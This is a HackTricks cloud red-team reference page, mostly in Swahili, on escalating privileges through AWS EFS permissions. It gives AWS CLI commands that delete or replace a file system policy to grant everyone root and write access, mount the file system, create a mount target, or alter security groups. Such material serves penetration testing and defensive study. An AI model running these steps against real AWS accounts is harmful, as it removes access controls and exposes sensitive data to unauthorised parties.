AWS - EFS Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

EFS

Zaidi ya info kuhusu EFS katika:

AWS - EFS Enum

Kumbuka kwamba ili kuunganisha EFS unahitaji kuwa katika subnetwork ambapo EFS imewekwa wazi na kuwa na ufikiaji kwake (vikundi vya usalama). Ikiwa hii inatokea, kwa kawaida, utaweza kuunganisha kila wakati, hata hivyo, ikiwa inakulindwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuweza kuifikia.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Kwa ruhusa zozote kati ya hizo mshambuliaji anaweza kubadilisha sera ya mfumo wa faili ili kukupa ufikiaji kwake, au tu kuifuta ili ufikiaji wa kawaida upatikane.

Ili kufuta sera:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Ili kubadilisha:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Kwa ruhusa hii mshambuliaji ataweza kuunganisha EFS. Ikiwa ruhusa ya kuandika haitolewi kwa default kwa kila mtu anayeweza kuunganisha EFS, atakuwa na ufikiaji wa kusoma tu.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Ruhusa za ziada elasticfilesystem:ClientRootAccess na elasticfilesystem:ClientWrite zinaweza kutumika ku andika ndani ya mfumo wa faili baada ya kuunganishwa na ku fikia mfumo huo wa faili kama mzizi.

Athari Zinazoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.

elasticfilesystem:CreateMountTarget

Ikiwa wewe ni mshambuliaji aliye ndani ya subnetwork ambapo hakuna lengo la kuunganishwa la EFS lililopo. Anaweza tu kuunda moja katika subnet yake kwa ruhusa hii:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.

elasticfilesystem:ModifyMountTargetSecurityGroups

Katika hali ambapo mshambuliaji anapata kwamba EFS ina lengo la kuunganishwa katika mtandao wake wa ndani lakini hakuna kundi la usalama linaloruhusu trafiki, anaweza tu kubadilisha hilo kwa kubadilisha makundi ya usalama yaliyochaguliwa:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks